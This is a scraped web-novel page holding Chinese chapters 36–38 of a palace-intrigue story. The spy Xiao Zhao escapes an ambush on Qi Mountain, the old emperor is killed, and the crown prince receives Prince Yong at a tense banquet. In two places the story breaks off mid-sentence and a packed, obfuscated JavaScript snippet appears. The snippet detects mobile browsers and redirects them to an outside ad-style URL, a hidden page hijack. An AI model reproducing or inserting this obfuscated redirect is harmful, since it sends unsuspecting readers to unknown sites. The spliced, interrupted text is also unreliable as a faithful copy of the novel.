走进茶馆,一呼一吸间,萧照忽觉自己似乎不用对口令,他已经闻出了那名暗探所在。 沿着气味一路寻去,萧照直接坐在了靠窗的那张桌子前。 “滚。”桌对面的男人凶神恶煞道。 “兄弟,您这得有两个月没洗澡了吧。”萧照无奈笑道。 男子眉头紧锁,不回答,只是一味地盯着窗外。 “小二,一壶武夷岩茶,配上两个葱香烧饼,再抄个鸡蛋。”萧照不慌不忙说出了口令。 桌对面那人惊愕,忙接道:“这是茶馆,只喝茶,要吃烧饼,还请移步到西街王麻子那。” “我刚从西街赶来。别说王麻子,就连只耗子也没见着。” “呦,记错了,西街没人,吃食都在南街巷里。” 两人对完暗号,萧照忍不住问:“这整座茶馆里的人都是府里派出的暗探吧。” “统领连这个也告诉您啦?”男子一脸诧异。 萧照心中有些无语,一时竟不知如何委婉,“猜的,萧某私以为,除了府里的人,没人会再踏进这家茶馆。” “萧兄弟眼光毒辣,确实,这座茶馆便是东宫的暗桩。” “兄弟,恕萧某直言,交班后您快去换身衣服,洗个澡,顺便把鞋袜给扔了。” 那男子闻言赶紧嗅嗅衣服,闻闻胳肢窝,又低头将靴子脱了看看。紧接着一脸茫然:“不臭啊,一点 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萧照白日在蒋府外支了个算命摊子,又给自己易了容,密切监视蒋府。 晚上则像耗子一般潜入蒋府,鬼鬼祟祟,四处张望,探查李娴的一举一动。 一连好几日都未曾发现有什么异常之处,萧照觉得李娴在大皇子心里或许有分量,但是一定不多。 正当他这么觉得的时候,一日夜里,他忽然发现蒋府外多了一个乞丐老叟。 老叟头发脏乱,胡子满面,脸也脏得不像样子,衣服和鞋子更是破得吓死个人。 可问题是,这老叟,他,他,他居然不臭。 萧照在这里没日没夜监视了两三日,自己都臭了,这个讨饭的老叟居然不臭,事出反常必有诈。 萧照赶紧派人回禀东宫,自己则留下来盯着这老叟。 只见那老叟在蒋府外徘徊良久,似是迟迟不肯下定决心,就靠在蒋府墙外一处坐了整整两个时辰。 萧照不敢靠太近,只是远远地盯着那名老叟。 老叟好像无意潜进府内,这一夜里,除了中途起身绕到蒋府正门外站着,并无其他动作。 这一站,就是整整一夜。 天亮了,他反而坐了起来,在前面放了个碗,像是准备等着乞讨。 萧照想起之前的暗探说过,每月初四,李娴便会早早地带着孩子外出进香祈福。 而今日,正是三月初四。 不一会,蒋府大门打开,一位夫人徐徐走来,举止端庄,气质娴静,相貌虽不是一等一,却让人觉得如沐春风。想必那位妇人便是李娴了。 萧照观察到那名老叟不可察觉地颤抖了一下。 “哪里来的要饭的,一大早,真晦气,快滚。”蒋府的一位下人说着便重重踢了那老叟一脚。 老叟丝毫不躲,也不求饶。任由下人踢他,彷佛他早已习惯别人的拳打脚踢。 “阿生,住手,不得对老人家无礼。” 36.暴风雨前的宁静(下) 只见李娴轻轻训斥了下人一声,急急忙忙走到了老叟面前,弯腰查看他的伤势。 “老人家,府里的下人不懂规矩,我代他向您赔个不是了。” 老叟低头不语。 李娴见此,朝身边丫鬟看了一眼,丫鬟心领神会,掏出钱袋,递给老叟一把碎银子。 老叟依旧低头不语,也没伸手接银子。 “老人家,这点银子您还是拿着吧,我们不是作践您,只是想结个善缘。” 老叟一怔,缓缓抬起胳膊收下银子。而后又后知后觉说道:“夫人心善,菩萨一定能保佑夫人长命百岁,平安顺遂。” 李娴苦笑了一下,“菩萨,佛祖,这些我早就不信了。不过还是要谢谢您的好意,我心领了。” “为何不信?”老叟抬起头来。 “把我带大的那位养母,她一辈子吃斋念佛,慈悲心肠,却至死不得救赎。我如今也看透了,这世上,本就没有什么神佛鬼怪。” 老叟又缓缓低下头,不再说话。 不一会,李娴带着几个孩子坐上马车,往城外方向去了。 萧照派了一队暗探继续盯着老叟,而自己则带着另一队人马跟着李娴母子。 一路上,萧照都在疑惑,既然李娴不信神佛,为何每月初四都还要去济慈庵进香礼佛,风雨无阻? 难道是为了私会情郎,萧照顿觉豁然开朗,李娴之夫蒋牧斋今已年过六十,牙都掉光了,说话都开始流口涎了,对太府卿蒋牧斋来说这是老牛吃嫩草,可对李娴来说,却是鲜花插在牛粪上了。 我若是李娴,定要让家里的老头子早早归西,趁着大好年华,再招几个赘婿进门。 萧照就这样一路跟着李娴来到了济慈庵山脚下。 萧照和一众暗探藏在山林里,静观其变。抬望眼,看了一下周围的山川形势,心中暗叫不好。 济慈庵位于旗山山腰,一个尼姑庵倒是平平无奇,可这旗山却是险要得紧,易守难攻。人一进去,需要挥刀开路,扶木前行。 山中全是百年古树,林海茫茫,遮天蔽日,瘴气腾腾。毒蛇,巨蚊,凶兽,猛禽,随处可见。 旗山连绵起伏,百里绝地,不知纵深几百里,高几千尺,看不到头,望不见路。 如此险地,可称得上一夫当关,万夫莫开,哪怕是李广在世,也只能穷途而哭。 “此处地势如此险要,为何不提前通传?”萧照怒道。 “尼姑庵就是特意建在此处,防的就是我等贼男子。”一名暗探无奈道。 “是啊,这旗山又称“鬼山”,进此山如进鬼门关,很多想轻薄庵里尼姑的腌臜男子都在此山中被毒蛇猛兽咬死了,哪怕没遇到什么毒物,这林子也是密不透风,活人根本走不出来。” “还有其他路吗?” “进济慈庵就那一条羊肠山路,那条路一览无余,沿着悬崖峭壁,人一进去毫无藏身之处。府里明令过,我等不能暴露。” 萧照权衡一番,走那条山路,若是有人埋伏,一侧是悬崖峭壁,另一侧是万丈深渊,除了死,别无生机。沿着山林走,山再险恶,也不会比人更险恶了。 就这样,萧照带着一行人沿着旗山上去,爬到树上高点,遥遥盯着李娴的马车。只有那一条路,如果李娴想要下山,必须原路而返,兄弟们只需此精心等候,守着路,便可知李娴动向。 这边萧照还在树杈上喂着毒蚊,那边李娴便赶到济慈庵门前。 只见她犹豫半天,迟迟不敢进去。 丫鬟不解:“夫人,怎么不进去啊?” “往月初四,她总会在山脚下等着我,如今我都已走到庵门前了,还不曾见到她,你说,她是不是嫌我叨扰到她修行了。” 丫鬟无语:“亲闺女见自己亲娘,天经地义的事,哪门子叨不叨扰,夫人,您哪点都好,就是爱多想。” 李娴抬手示意,“嘘,别说出来,老师父不喜欢我和她母女相称,她总说她尘缘已尽,六根已断,再让她听到“娘”这个字,怕是以后又不愿见我了。” “那公子和小姐呢?” “从侧门送进去吧,先让他俩给老师父磕几个头,再送到厢房去睡吧。” “夫人,您就进去吧,老师父再怎么修佛,和您还是打着骨头连着筋,你和公子小姐可是她在世仅剩的三个亲人了。” 李娴鼓起勇气,拍门进去。 “施主,别来无恙。”庵内传来一声虚弱的问候。 李娴双目红了,“老师父,才一月未见,您怎么一下子瘦了这么多?” “无妨,生老病死,人之常情。”静秾师太向着天空,双手合十。 李娴走近一看,才发觉母亲的神色憔悴异常,心中不由得紧了几分。 “为何病了不派人下山送个信给我,您一个人怎么熬下来的?” “出家人在外修行,没有信便是最好的信。” 李娴急了:“老师父,这辈子,别人把我丢下也就罢了,您可不能再弃我而去啊!” “李施主,贫尼三岁就没了母亲,你如今都已经二十有二了,有何可惧?”静秾师太说此话时气息虽弱,眼神却清明无畏。 李娴无话可说,和静秾师太一起跪在佛前诵经礼佛。 虽在诵经,可李娴心里是半分也不信佛经,低头念着念着眼神早已偷偷转到静秾师太身上了。 静秾师太并未察觉,依旧极度虔诚地诵读经书,虽然身体元气大伤,气若游丝,可精神并不萎靡,跪姿并不松垮,神情专注,心无旁骛。 李娴默默看了好一会儿,心里忽然懂了母亲,或许母亲并不是个凉薄的人,她只是在尘世里太累了。 好像她的整个一生,都在向世人解释她为什么和别的女子不同,为什么不愿相夫教子,为什么想云游四方,为什么抛夫弃子,为什么要剃度出家,以及,为什么要这样活着…… 李娴沉思着,一下子想起了许多往事,不由得百感交集,直到一阵厮杀声将她从回忆里拽了出来。 “老师父,外面怎么有人在厮杀,是要打仗了吗?” “无碍,不过是一群山匪窝里横,狗咬狗。”静秾师太平静地说。 李娴怕极了,一时没注意到母亲这次的言语出人意料地粗俗,只是赶忙吩咐下人闭关锁庵,不许放进来一个人。 “那群山匪会不会杀到这里来啊?”丫鬟也是无比担忧。 “放心,山门是五百斤精铁打造,四周都是高墙壁垒,只要施主们不开门,贼人是攻不进来的。”静秾师太语气依旧平静而坚毅。 “就这样一直闭门不出?” “是,只需等个半月,待那群山匪彻底下山了就行,庵里粮食充足,足够大家吃上半年了。” 李娴倒是很快就接受了这个事实,母亲病重,如今正好趁这个机会多陪陪母亲,况且,也没有什么要紧事一定要下山。 至于那厮杀声从何而来,萧照表示一清二楚,济慈庵里岁月静好,济慈庵外血流成河。 杀的就是我们啊!!! 根据周围短兵相接的声音判断,至少有两百死士埋伏于此。 永王殿下,您为了一个女人,真是下了好大的血本。萧照后槽牙都咬碎了,然后一怒之下,就带着剩下的兄弟们往林深处撤…… 一路撤退,四周全是蟒蛇和虎豹的新鲜尸骨,想必那些死士数日前便已在此山中蛰伏了。 对方比他们更熟悉山林地势,人数也是十倍于他们,且全是刀尖上舔血的死士,更狠更毒,萧照怎么想,都觉得毫无胜算,只能一股脑往山林深处逃去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15086052|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越走越险,越走越深。 身后跟上来的暗探兄弟们越来越少,萧照知道那群死士已经追上来,索性豁出去了,往瘴气林里钻。 进到瘴气林里,萧照顿觉头晕目眩,但是他管不了这么多,只能一步一步往前走,起初,还能勉强扶着树走几步,后来头越来越痛,步子也越来越沉,甚至好一会才意识到自己是爬着前行。 很快,他就再也撑不住晕了过去。 不知过了多久,他迷迷糊糊地感觉自己浑身上下都在流血,可是身体却一点也不痛,真好,长眠于这云雾缭绕的山间仙境,与草木同腐,与虫蚁蚂蝗争卧地,死得真可谓是,轻如鸿毛。 先生曾说过,终有一天,我们要将生命还给山水,先生,我还了。 先生,我觊觎过这片江山,也恨过这片山河,如今到死了,两清了。 雨越下越大,从淅淅沥沥到滂沱大雨,雨水终于把萧照给灌醒了,瘴气入肺,他花了好长时间才分清幻念与现实,又过了一刻钟,他才反应过来,他没死,刚才流的不是血,是雨水,是这场大雨救了他的命…… 此刻京都,东宫。 太子连问了三次,还是没有李娴那边的消息吗? 回殿下,和那边的探子全部断了联系。 其实,太子心里很清楚,没有消息就已经说明了一切,只是他没想到,这一天会来得这么快,哪怕万事早已俱备,他还是会怅然,他与父皇,大哥,终究是走到了今天这一步。 因李娴下落不明一事同样忧心忡忡的还有京都蒋府。 蒋牧斋倚杖坐在明堂,须发尽白,在风中闭目等候。 他的长子蒋清远在一旁来回踱步,看似焦急无比。 “爹,都这个时辰了,李娴还没回来,连个信都没有,一个妇人,彻夜未归,成何体统。” “住口,长幼尊卑不分了吗?我素日就是这样教导于你的吗?” 蒋牧斋用拐杖狠狠地敲了一下地,怒道。 “爹,您说,娴嫡母她不会和人夜奔了吧。” 蒋清远试探性问道。 “她的事,不是你一个小辈该过问的,你,赶紧给我滚,少在老子眼前乱晃。” 蒋牧斋语气强硬。 蒋清远一听更是来气,摊了摊手,无奈道:“爹,你是真被这个狐狸精给迷得神魂颠倒,分不清东南西北了,爹,你糊涂啊!这狐狸精到底给你施了什么咒,自打她进府以来,你对她那是言听计从,含在嘴里怕化了,捧在手心怕碎了。” 蒋牧斋颤颤巍巍站了起来,拄着拐杖追着蒋清远一路打,“再多说一句,我就把你逐出家门,革出族谱。” “爹,先别打我,要是我说得没错,娴嫡母再也不回来你怎么办?” 过了好久,蒋牧斋淡淡道:“朝局晦暗,官逼民反,士大夫尚不能守节,故更不能以守身而责女子耶!” 蒋清远:??? 爹,你是真被女人灌迷魂汤了!!! 那一夜,蒋牧斋以为李娴永远离开了蒋府,或许和永王殿下隐居世外,再也不回来了。 半是不舍半是欣慰,悲欣交加,不过还好,至少有情人终成眷属。 那一夜,李娴在济慈庵听着外面厮杀声,哀嚎声渐渐止息,心知此劫已过。 不过,午夜梦回时,她还是会疑惑,为什么笃信佛的人,至死不得庇佑,而不信佛的自己,却好像是一直在被神明庇佑? 每次遇难遇险,都能逢凶化吉。天道甚怪! 那一夜,太子偷偷痛哭了一场,他下了此生最大的决心,他胜券在握,却比谁都痛苦。 那一夜,没有人知道大皇子永王殿下在做什么,正如此前无数个黑夜,从没有人能懂得他所做的一切。 那一夜,萧照中了瘴气,以顽强的意志狗刨式悄悄爬回了京都。 37.我要回家 旗山险雨水凶,江山兮信美。 可这是黑夜,唯有月色凉如水,哪里望得见山,瞧得清雨? 其实,山早已下了,雨早已停了,天也早就黑了。眼前山河,不过是先前吸入的瘴气在萧照五内作祟的结果。 瘴气入肺,萧照不知疲倦,不辨方向,只知一股脑往前走,跌跌撞撞,连滚带爬。 有农户半夜起来给田埂疏水,远远感觉前边有一四足大虫飞奔而来,吓得魂飞魄散,一下子瘫倒在地。 大虫走来,却不吃他,农户这才借着月光仔细瞅瞅,原来此“大虫”非大虫,而是一少年郎。 “俺娘耶,大半夜吓煞个人。”农户依旧惊魂未定。 萧照头痛欲裂,浑浑噩噩,直到听到农户说话,这才意识到眼前坐了个人。 “小兄弟,大半夜的,你这是在做啥子?” 做啥子,要干什么,萧照脑中昏昏沉沉,怎么都想不起来自己究竟要做什么,他隐隐约约知道自己得干一件大事,可这件事他怎么一点都想不起来了? “我要做啥?” 农户:??? 你问我我问谁?这小子八成是傻的。 农户起身,顺便也将萧照扶起来,只见他两只手掌上全是石子泥巴和草梗,皮磨破了渗出血,不由得心疼他几分,带着他去沟里洗了洗手。 突然,萧照脱口而出:“我要回家。” “好啊,回家好啊!你家里人找不到你怕是会担心死。” “不过,你家在哪?” “天似穹庐兮笼盖四野,仇痛兮难忘,琐兮尾兮,流离在外,我来自北兮,回北方。”萧照喃喃说道。 “说话文绉绉的,你是读书人耶,大户人家里出来的吧?”农户对萧照的身世有所猜测。 这荒郊野岭的,除了我们这些地贫粮少的庄稼汉会来这开荒,还从没见过大户人家的孩子会来这的! 难不成,这小子得了疯病后,家里人嫌他累赘,故意把他丢在这鸟不拉屎的地方? 萧照不回答,只是一味地往前走。 农户拉住他,劝道:“小少年,你走反了,你不是说你家在北边吗?你怎么往南走啊?” 萧照伸手指了指前方,十分确信地说:“家就在那里。” 农户不明所以,但还是任由他往前去了。 明明说家在北边,怎么一心往南走啊? 或许这小少年虽然痴傻,但心里多多少少也晓得家里人不要他了,不想他回去。所以,回家在心里成了执念,脚上却越走越远。 这世上,想回家和能回家原是两码事啊!农户想起了自己的老家,以及死去的爹娘,泪眼婆娑起来。 萧照走啊走啊。 恍惚间,他看到了茫茫大草原,族人纷纷围了过来,拉着他的走问他。 “世子,这次从大渊京都回来,带了多少粮食来,多少银子来?” 他不知怎么回答。 “世子,你去了一趟南边,当个质子就不知道自己几斤几两了,忘了族里的部民还在吃苦受罪了,逢年过节,连点银子冬衣都不知道往族里送点。” “世子,你说要我们跟着大汗南下去开疆扩土,你是世子,江山打下来了,最后享福的还是你自己,你当然愿意打仗。” “要打你打,我们不干。” 周遭的声音压得萧照踹不过气来,他一句话都说不出来,只能飞快地往前走,离族人远一些。 不一会儿,他耳边又听到熟悉的声音。 “其他族人可以不南下,但是你一定要南下,我的儿子,生来就是要为喀沁建功立业,征战四方,马革裹尸。” 大汗狠狠地打了他一巴掌,骂道:“懦弱,优柔寡断,不堪大事,你不配做我的儿子。” “其实,我只是一个读书人,没有千军万马,知道天高地厚,做不到力挽狂澜,愚公移山。”许是头痛欲裂的原因,他终于鼓起勇气对阿达说出了一直以来想说却不敢说的话。 阿达闻言,怒不可遏,扬起鞭子重重抽在他身上,他不觉得痛,只觉心窒。 阿达将他逐出喀沁,不拿下大渊,他就永世不得踏进故土。 阿达给了他什么? 两件冬衣,一床铺盖,一名侍卫,一把大刀,一支匕首,一个木碗…… 阿达想要什么? 整个天下。 为了一个遥不可及的梦,他来到大渊为质,最难的那几年,每日以窝头浸井水充饥。 苦心志,劳筋骨,饿体肤,他无怨无悔,为了那个所谓的宏图大业,他疲于奔命,甘之如饴。 他知道自己是傻人,是棋子。 没有钱,他去偷去骗;没有大智,他去读书去悟;没有羽翼,他招揽苦命女子,暗建谍网;没有一战之力,他设翰璃学宫,暗中培养杀手与暗卫…… 如履薄冰,呕心沥血,他把路一步步铺好。在这条康庄大路上,族人挥刀南下,阿达问鼎中原。 功成时,阿达喜不自胜,忙着称帝定都。 只有额吉一直在坚持寻找自己,我的儿,你在哪啊?天下已定,你回来吧,回家吧! 阿达伸手向着远方一指,说,我们的儿子就在那。 额吉循着手指方向望去,只见一堆白骨,心中已了然。 整个大殿,只有额吉嚎啕大哭,捶胸顿足,几近气绝。 这时,阿达居高临下说道:“入异族为质,如此结局,已算善终。” 萧照望着那堆白骨,不敢置信,若我的尸骨在这,那“我”又是谁? 一切都在天旋地转,萧照再也撑不住了,晕了过去。 等他再次醒来时,已经是一天以后了。 床边有一女子将他扶了起来,关切问道:“先生,你醒了,可还记得我是谁吗?或者,先生,您还记得您自己是谁吗?” “你是,杭映真,是翰璃学宫的女学子。” “正是,先生,你总算是清醒过来了。” “我怎么了?” “先前几个时辰你根本认不得人,说的话我们也一句都听不懂,大夫说您是吸多了瘴气,给您灌了好多药,灌了吐,吐了再灌,药不能停,否则心智就救不回来,谢天谢地,先生您总算清醒过来了。” “我有说什么胡话出来吗?”萧照有些后怕。 “有,您一直说自己只是个读书人,一辈子只想好好读书习字什么的。” “这是哪里?”萧照见这间屋子陈设雅致,不像是给穷苦人家住的。 “京郊,是我自己的院子,这里很安全。” 萧照心中警铃大作,“我记得,我收的学生都是走投无路,无依无靠的亡命之人,不曾收过什么高门大户的芝兰玉树。” 听萧照这般责问,杭映真丝毫不惧,冷笑道:“这世道也真是怪,女子不能读书不能练武也就罢了,可有了这翰璃学宫,贫苦人家的姑娘多多少少能进去几个人读书习武,为何世家女就进不得。” “你的身份是伪造的,杭映真不是你的真名,你到翰璃学宫究竟有什么目的。” 杭映真不说话,只是捋了捋额前的头发。 萧照忽然看见她额头上有一大片烧伤痕迹,让人触目惊心。他这才想起当初审查杭映真身份时,所有人看到她那张脸,都不约而同相信她的确是位走投无路的苦命女子。 她当时怎么说来着,是被夫君虐待,拼死逃到翰璃学宫,以求庇佑,日后定当竭力报答,忠心不二。 之前怕冒犯女子,学宫上下没有人敢长时间盯着杭映真的脸看。如今躺在病榻,萧照也不讲究什么君子之礼了,仔细审视着她。 审视着她的脸她的衣着她的仪态她的举止她的屋子…… 越看越气,萧照真想戳死当时的自己,怎么没看出来杭映真大有来头。 额头上大片伤疤,是烧伤的痕迹,烧得还挺严重,皮开肉绽,有几处都露骨了。皮肤黝黑,即使擦了脂粉,依旧挡不住老态。眼角爬满了细细密密的纹,想来早已到了不惑之年。 虽是女子,力气却是极大,能将他从荒郊野岭带到京郊,这份本事,必是习武之人。 “你把我从荒地里背到京郊的?” 杭映真忍不住笑道:“先生,你神志不清了,是您自己非要从荒郊野岭里往京都方向爬回去,劝都劝不住,可是指望您四脚朝地满地爬,那要等到猴年马月啊,况且,真要到京都了,您日后怎么见人啊?学生就擅作主张,把您扛回来了。” “芳龄几何?” “二十五。” 萧照震惊到说不出来话了,杭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094035|158484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人,你看着明明都有四十五了,都这把年纪了,就不要装年少了。 看到萧照眼底的不可置信,杭映真索性不装了,怒道:“老娘如假包换的二十五,爱信不信,对了,老娘的身世也是乱编的,没嫁过人,名字也是瞎起的,再多嘴多舌,老娘就不伺候你了,你哪凉快滚哪去。” 萧照被杭映真的一顿怒骂吓得不敢说话。 这?这,这还是往日学宫里那个逆来顺受,谨小慎微的杭映真吗?变化也太大了吧,简直不是一个人。 又或许,刚才那个骂骂咧咧的杭映真,才是她本来的面目。 不过她刚才说自己年方二十五的样子,一点也不像是演的。 可这张脸,怎么才二十五,萧照仔细想了想,只有一种可能,杭映真是在漠北疆场长大的。 那里风沙漫天,烈日当头,极度干涸,最是不养人了,且年年征战,疲兵残将,对身体折损极大,呆一年老三年。她的烧伤,多半也是在那里受的。 漠北,是北羌和大渊的间隙之地,而大皇子,一直与北羌人有暗中往来。 或许,杭映真是大皇子手下的人。如此才能解释得出她怎么找到自己并救了自己。 可她为什么要救自己呢?这一点,萧照怎么也想不明白。 萧照头痛还未完全好,索性也不想了,直接开口就问:“杭映真,你为何要救我?” “当今陛下昨夜暴毙了,太子已经登基了。” 一石激起千层浪,萧照心中怅然,如此仁慈的太子殿下,终究是走上了弑父弑君的道路。 杭映真心中五味杂陈,她知道此一局,永王殿下必输无疑了。 太子得民心,有朝臣支持,唯一的劣势便是没有兵权,狗皇帝在世时,对太子千防万防,甚至连虎符都不曾让太子见过。 先皇帝最忌讳太子独大,多年来对东宫权力严加限制,尤以兵马粮草方面,东宫政令甚至都出不了京都。 永王殿下唯一的优势便是找到了狗皇帝苦心藏着的虎符,若狗皇帝还像以前那样整日昏迷不醒,大渊四十万兵马,可任由永王殿下调配。 到时候,逐鹿中原,谁主沉浮,犹未可知。 可谁曾想,太子竟真的能狠下心来弑父,如此一来,新皇登基,谁还认前朝皇帝的虎符,太子只要登基,兵权在握,名正言顺,随便几道圣旨,几纸诏书,都比那块破铁有用了。 杭映真盯着萧照,甚为不解,这个异族质子,在大渊如此兴风作浪,太子都能忍了,甚至把他收入麾下,常伴御前。如此以德报怨,让人汗颜。 可对自己的亲爹,却手起刀落,毫不犹豫。 ………… 一个人怎能既光风霁月,又猪狗不如,既优柔寡断,又杀伐决断,既菩萨心肠,又心狠手辣。 皇室之人都是邪物,杭映真咬牙切齿地总结。 萧照与杭映真的心境完全相反,暗自窃喜自己当初站对了队,朝局之事,向来都是你死我活,每一步,都不能走错,他万分庆幸,自己还在正途上。 如今时局,一目了然。 太子殿下只要不输就是赢,至于永王,想要活下去,就必须得赢。 赢天下,太难了,而安分守己碌碌无为守着这片江山,又太容易了。 真正让他心跳不已的还是,太子殿下居然真的弑父了。 太子殿下如此仁善,都能做出这般大逆不道的事,我萧照一介烂人,怎会做不到呢? 汉人常言:“寇能往,我亦能往。” 若是阿达也死了,那族人也就不用挥刀南下,额吉也不用日日啼哭,自己就更不用在异族为质,如履薄冰,苦心谋划如何颠覆大渊皇权了。 大渊有粮草钱帛,喀沁有战马猛将,大渊新帝仁善兼爱天下,自己也饱读诗书学了不少治国之策,两国联手,我喀沁亦可重振辉煌,族人定能安居乐业。 谋天下,太难了,而死两个爹换两国休养生息守望相助,又太容易了。 杭映真又端来一碗苦药,萧照大手一摆,十分豪迈道:“区区瘴气,不过心魔而已,不足为惧,本世子已然痊愈了。” 杭映真翻了个白眼,狗皇帝一死你这还药到病除了,他娘的,日谋夜谋,不如人家跟对了人,千算万算,不如别人升官发财死亲爹。 38.鸿门宴 皇帝驾崩,太子即位,天经地义。 国丧的第一天,太子没有急着到宗庙祭天祭祖,举行登基大典,接受文武百官朝贺。 他依旧住在东宫,沏一壶龙井,等一位贵客。 从白天等到黑夜,那壶龙井早已泡成了白水,太子殿下依旧没能等到想等的人。 四海侍奉在左右,想劝慰殿下,又不知该如何开口。 殿下,您刚弑父,登基前又急着见永王殿下,明眼人一看,谁不知道这是鸿门宴啊! 我要是永王殿下,我也不来送死。 太子不言语,只是让下人换一壶茶上来,再添些炭火。 他依旧静心等候着,用一生一世从未有过的耐心。 今年天气甚怪,直到三月,寒气依旧不减半分,子夜时分,竟下起了鹅毛大雪,太子盯着火炉发呆。 落雪时,永王殿下持刀赶来,他大步流星走到东宫,一路畅行无阻,见到太子,不行礼,只是随手把腰间佩刀解开丢在了一旁,然后从容不迫地坐在太子对面。 “怎么这次又是龙井?”永王满脸嫌弃道。 四海站在太子身后,脸吓得发白,大皇子居然真的来赴约了,天爷啊,这么不怕死吗? 算了,还是先担心担心自己吧,听外面这动静,大皇子至少带了五百暗卫埋伏在府外。 四海看了看桌上那套精美茶具,心里暗自祈祷太子殿下沏茶时手端稳点,万一大皇子那边又是老掉牙的“摔杯为号”,这下可有的是厮杀了。 “你来晚了。”太子殿下淡淡说道。 “你府内戒备森严,只有在夜半落雪时,我的人才好藏一点。所以,耽搁了时间,不过我想,父皇都已经驾崩了,你如今有的是耐心与时间。”永王平静地说道,语气就如同在讲一件无关紧要的小事。 “也好,晚来也好,淡淡的龙井,淡淡的雪,淡淡的兄弟情,一切都恰如其分。这世上没有无因之果,也没有无果之因。”太子亲手递上一盏茶。 永王接过茶盏,浅尝辄止便放下了。 太子见此,无奈道:“没有毒,唯一美中不足的便是泡了太多次,茶早已淡如水,淡得有点像你我兄弟君子之交了。” 四海在心里翻个白眼:太子殿下,都什么时候了,你还有时间调侃打趣? 永王殿下又重新拿起茶盏,一饮而尽。 “上一次这般放心地在你这喝茶,还是在儿时。”永王略有感慨。 太子不说话,也饮了一杯。 上一次兄弟间这般亲密地饮茶,确实是在十几年前。他们曾是最好的兄弟,一起玩乐,一起长大,一起读书习武…… 他们也曾桃李春风一杯酒,也曾推杯换盏一醉方休,也曾因为些小事打了起来,将彼此衣裳的扣子拽了下来…… 可手足情深的好光景并不长,在很早之前,皇权让他们兄弟彼此分离,教他们彼此仇恨。 “今晚,是雪夜,不该饮茶,应当喝酒的。”永王抱怨道。 “国丧期间,寻常人家尚不得饮酒作乐,更何况你我这两个为人子者。”太子冷冷道。 永王像是听到了什么了不得的趣事,抚掌大笑起来:“太子殿下,弑君弑父这样大逆不道的事你都做了,还怕这点虚名拘束?” 四海:没错,确实很好“孝”。 太子殿下倒是一本正经。 “在天下人眼里,弑君弑父非人臣人子所为,可于我而言,这正是我心中的大道。” “从他绞死我母妃的那一刻,我和他便注定只剩两种结局了—子弑父,或是父杀子。” 永王殿下点点头,赞同道:“若贤妃娘娘泉下有知,知道你如今所作所为,定觉大快人心,甚为宽慰。” “阴曹地府的事我不知,我只知道母妃临死前特意来东宫见了我最后一面,看到我被百姓爱戴,被朝臣拥护,羽翼丰满,终于放心下来。两日后,她平静地赴死,心中了无牵挂。” 四海汗流浃背:殿下你可别再提这种旧事了,您这是在拱火,别忘了,大皇子的母妃也被陛下赐鸩酒给毒死了。 永王殿下转移了话题,徐徐说道: “十三年前,我率孤军在北境同党项人苦战四十余日,死伤积野,绝粮绝水。” “三军食草食鼠,喝死水饮蛇血,却无一人降,无一人叛。疲兵伤兵,硬生生扛住了党项人十万大军。” “那一役,两万大渊子民埋骨北境,太子殿下,敢问那个时候,我们那位高高在上的父皇又在做些什么?” “那一年,父皇在避暑山庄,饮酒作乐,宠幸舞女。”太子殿下实话实说。 “所以,今日这酒,我喝得下,担得起,问心无愧。太子殿下,我今夜要替那两万亡魂好好喝上几杯,您可懂得?” 太子殿下不说话,四海悄悄看了看殿下的神色,知道他这是默许了,赶紧吩咐下人温几壶好酒,给永王殿下呈上来。 酒入愁肠,雪在寒夜飘舞,火在心中燃起,永王大呼痛快。 “父皇他如今已死了,为何还要反?”太子忍不住问道。 永王笑了笑:“早就想反了,只是一直都没准备好,殿下,想必您也知道,篡位,并没有想象中的那般容易。不过快了,再等几日,诸事可成。” 四海汗流浃背,这是可以放在明面上聊的吗? “大渊日薄西山,再也经不起一场内乱了。”太子殿下沉重地饮了一盏茶。 “若一个王朝,需要天下人逆来顺受,唯唯诺诺,需要黎民百姓忍辱负重,苟活度日方得以维系,难道还不够说明这个王朝本就不该存在吗?”永王反问道。 太子无言以对,他低头看着茶盏,茶水中依稀倒映出他自己的脸,他越看越觉得那张脸陌生无比,他知道大渊气数已尽,可他依旧舍不得这个百年帝国,宁可毫无作为也不想失去它,中庸也罢,苟活也好,只要死前帝国一直在自己手里安安稳稳…… 他抬头,不再盯着茶盏,这些时日,他甚至不敢看着镜子。 永王举杯:“四弟,我们干一杯如何?” 太子一怔,随后举起茶盏,和永王碰了一杯。 北风呼啸,夜雪狂怒,泪落入了酒杯,依旧滚烫。 炉火旺,锦裘厚,泪滚进了龙井里,依旧寒凉。 “这是什么酒,太辣太烈了。”永王故作轻松说道。 四海不明所以:“回殿下,西域传来的葡萄美酒,未曾听说过这酒辛辣暴烈啊?是下人温酒的时候火候烧得过高了吗?。” 过了一会,四海突然反应过来,赶紧闭嘴。 太子接连饮了三盏茶,奇怪,饮的是茶而非酒,饮茶之人为何已有三分醉意? 饮完第一盏茶,四海上前添水,在太子耳边低声说,殿下,府里早已布置好了,是否现在动手? 太子不言语,自顾自地饮第二盏。 这时,有下人来报,萧侍卫回来了,说是有要事要回禀殿下。 太子依旧不言语,开始饮第三盏。 饮完第三盏茶,有几只雄鹰在东宫上空盘旋嘶鸣。 永王从怀中掏出骨哨,连吹三下,那几只鹰,居然立刻就消停了下来。 太子盯着那骨哨,久久沉思。 以骨哨训鹰,这是北羌人拿手的本事。 “今夜不聊国事,只聊家事。”太子殿下斩钉截铁说道。 